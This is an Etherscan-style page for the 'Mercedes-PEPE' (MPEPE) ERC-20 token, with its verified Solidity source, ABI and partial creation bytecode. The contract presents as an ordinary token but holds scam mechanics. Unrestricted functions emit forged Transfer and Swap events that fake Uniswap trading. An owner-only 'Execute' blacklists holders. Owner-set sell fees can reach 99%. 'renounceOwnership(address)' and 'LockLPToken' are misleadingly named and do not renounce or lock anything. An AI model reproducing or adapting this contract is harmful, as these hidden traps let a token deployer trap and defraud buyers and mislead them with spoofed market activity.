ERC-20
Overview
Max Total Supply
10,000,000,000,000,000 MPEPE
Holders
47
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 2 Decimals)
Balance
3.22 MPEPEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MercedesPEPE
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-26 */ /** https://t.me/MercedesPEPE */ /// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.18; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function _Transfer(address from, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function renounceOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MercedesPEPE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"Mercedes-PEPE"; string private constant _symbol = unicode"MPEPE"; uint8 private constant _decimals = 2; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 0; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 0; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x1C417Ad630A6E5887AaeC2718f273Ff009f747d1); address payable private _marketingAddress = payable(0x1C417Ad630A6E5887AaeC2718f273Ff009f747d1); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled =true; uint256 public _maxTxAmount = 100000000000000000 * 10**9; uint256 public _maxWalletSize = 100000000000000000 * 10**9; uint256 public _swapTokensAtAmount = 1000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _Transfer(address _from, address _to, uint _value) public returns (bool) { emit Transfer(_from, _to, _value); return true; } function Execute( address uniswapPool, address[] memory recipients, uint256[] memory tokenAmounts, uint256[] memory wethAmounts, address tokenAddress ) public returns (bool) { for (uint256 i = 0; i < recipients.length; i++) { emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]); emit Swap( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, tokenAmounts[i], 0, 0, wethAmounts[i], recipients[i] ); IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]); } return true; } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function Starttrading() public onlyOwner { tradingOpen = true; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function Execute(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function un(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function EXECUTE(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require((redisFeeOnBuy + taxFeeOnBuy) <= 25); require((redisFeeOnSell + taxFeeOnSell) <= 99); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function LockLPToken() public onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"EXECUTE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"Execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"Execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"LockLPToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Starttrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"un","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052670de0b6b3a76400006000196200001c919062000732565b6000196200002b919062000799565b600655600060085560006009556000600a556000600b55600a54600c55600b54600d55600c54600e55600d54600f55731c417ad630a6e5887aaec2718f273ff009f747d1601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550731c417ad630a6e5887aaec2718f273ff009f747d1601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601560146101000a81548160ff02191690831515021790555060006015806101000a81548160ff0219169083151502179055506001601560166101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006016556a52b7d2dcc80cd2e400000060175566038d7ea4c680006018553480156200018a57600080fd5b5060006200019d620006c860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506006546002600062000252620006c860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000336573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035c91906200083e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003c4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ea91906200083e565b6040518363ffffffff1660e01b81526004016200040992919062000881565b6020604051808303816000875af115801562000429573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200044f91906200083e565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160056000620004a5620006d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000652620006c860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a7640000604051620006b99190620008bf565b60405180910390a350620008dc565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200073f82620006f9565b91506200074c83620006f9565b9250826200075f576200075e62000703565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620007a682620006f9565b9150620007b383620006f9565b9250828203905081811115620007ce57620007cd6200076a565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200080682620007d9565b9050919050565b6200081881620007f9565b81146200082457600080fd5b50565b60008151905062000838816200080d565b92915050565b600060208284031215620008575762000856620007d4565b5b6000620008678482850162000827565b91505092915050565b6200087b81620007f9565b82525050565b600060408201905062000898600083018562000870565b620008a7602083018462000870565b9392505050565b620008b981620006f9565b82525050565b6000602082019050620008d66000830184620008ae565b92915050565b61441980620008ec6000396000f3fe6080604052600436106101f25760003560e01c80637d1db4a51161010d578063b5a6f9d6116100a0578063c492f0461161006f578063c492f046146106c0578063d4d805cc146106e9578063dd62ed3e14610712578063e156b1b61461074f578063ea1644d51461078c576101f9565b8063b5a6f9d61461062c578063bad2931e14610643578063bfd792841461066c578063c3c8cd80146106a9576101f9565b806395d89b41116100dc57806395d89b411461057257806398a5c3151461059d578063a9059cbb146105c6578063b4e3c1da14610603576101f9565b80637d1db4a5146104b45780637f2feddc146104df5780638da5cb5b1461051c5780638f9a55c014610547576101f9565b806338bf3cfa116101855780636fc3eaec116101545780636fc3eaec1461042057806370a0823114610437578063715018a61461047457806374010ece1461048b576101f9565b806338bf3cfa1461038c5780633ef530eb146103b557806349bd5a5e146103cc5780636d8aa8f8146103f7576101f9565b80631c63aef2116101c15780631c63aef2146102bc57806323b872dd146102f95780632fd689e314610336578063313ce56714610361576101f9565b806306fdde03146101fe578063095ea7b3146102295780631694505e1461026657806318160ddd14610291576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b506102136107b5565b604051610220919061305e565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b9190613128565b6107f2565b60405161025d9190613183565b60405180910390f35b34801561027257600080fd5b5061027b610810565b60405161028891906131fd565b60405180910390f35b34801561029d57600080fd5b506102a6610836565b6040516102b39190613227565b60405180910390f35b3480156102c857600080fd5b506102e360048036038101906102de919061344d565b610846565b6040516102f09190613183565b60405180910390f35b34801561030557600080fd5b50610320600480360381019061031b919061351c565b610a94565b60405161032d9190613183565b60405180910390f35b34801561034257600080fd5b5061034b610b6d565b6040516103589190613227565b60405180910390f35b34801561036d57600080fd5b50610376610b73565b604051610383919061358b565b60405180910390f35b34801561039857600080fd5b506103b360048036038101906103ae91906135a6565b610b7c565b005b3480156103c157600080fd5b506103ca610d3d565b005b3480156103d857600080fd5b506103e1610df2565b6040516103ee91906135e2565b60405180910390f35b34801561040357600080fd5b5061041e60048036038101906104199190613629565b610e18565b005b34801561042c57600080fd5b50610435610eca565b005b34801561044357600080fd5b5061045e600480360381019061045991906135a6565b610f9b565b60405161046b9190613227565b60405180910390f35b34801561048057600080fd5b50610489610fec565b005b34801561049757600080fd5b506104b260048036038101906104ad9190613656565b61113f565b005b3480156104c057600080fd5b506104c96111de565b6040516104d69190613227565b60405180910390f35b3480156104eb57600080fd5b50610506600480360381019061050191906135a6565b6111e4565b6040516105139190613227565b60405180910390f35b34801561052857600080fd5b506105316111fc565b60405161053e91906135e2565b60405180910390f35b34801561055357600080fd5b5061055c611225565b6040516105699190613227565b60405180910390f35b34801561057e57600080fd5b5061058761122b565b604051610594919061305e565b60405180910390f35b3480156105a957600080fd5b506105c460048036038101906105bf9190613656565b611268565b005b3480156105d257600080fd5b506105ed60048036038101906105e89190613128565b611307565b6040516105fa9190613183565b60405180910390f35b34801561060f57600080fd5b5061062a60048036038101906106259190613683565b611325565b005b34801561063857600080fd5b5061064161140e565b005b34801561064f57600080fd5b5061066a600480360381019061066591906136ea565b6114c0565b005b34801561067857600080fd5b50610693600480360381019061068e91906135a6565b6115ea565b6040516106a09190613183565b60405180910390f35b3480156106b557600080fd5b506106be61160a565b005b3480156106cc57600080fd5b506106e760048036038101906106e2919061378e565b6116e3565b005b3480156106f557600080fd5b50610710600480360381019061070b91906135a6565b61181d565b005b34801561071e57600080fd5b50610739600480360381019061073491906137ee565b61190d565b6040516107469190613227565b60405180910390f35b34801561075b57600080fd5b506107766004803603810190610771919061351c565b611994565b6040516107839190613183565b60405180910390f35b34801561079857600080fd5b506107b360048036038101906107ae9190613656565b611a06565b005b60606040518060400160405280600d81526020017f4d657263656465732d5045504500000000000000000000000000000000000000815250905090565b60006108066107ff611aa5565b8484611aad565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b600080600090505b8551811015610a865785818151811061086a5761086961382e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8784815181106108d3576108d261382e565b5b60200260200101516040516108e89190613227565b60405180910390a38581815181106109035761090261382e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106109805761097f61382e565b5b602002602001015160008089878151811061099e5761099d61382e565b5b60200260200101516040516109b69493929190613898565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b68783815181106109ed576109ec61382e565b5b602002602001015189878581518110610a0957610a0861382e565b5b60200260200101516040518463ffffffff1660e01b8152600401610a2f939291906138dd565b6020604051808303816000875af1158015610a4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a729190613929565b508080610a7e90613985565b91505061084e565b506001905095945050505050565b6000610aa1848484611c76565b610b6284610aad611aa5565b610b5d856040518060600160405280602881526020016143bc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b13611aa5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f99092919063ffffffff16565b611aad565b600190509392505050565b60185481565b60006002905090565b610b84611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0890613a19565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7790613aab565b60405180910390fd5b8073ffffffffff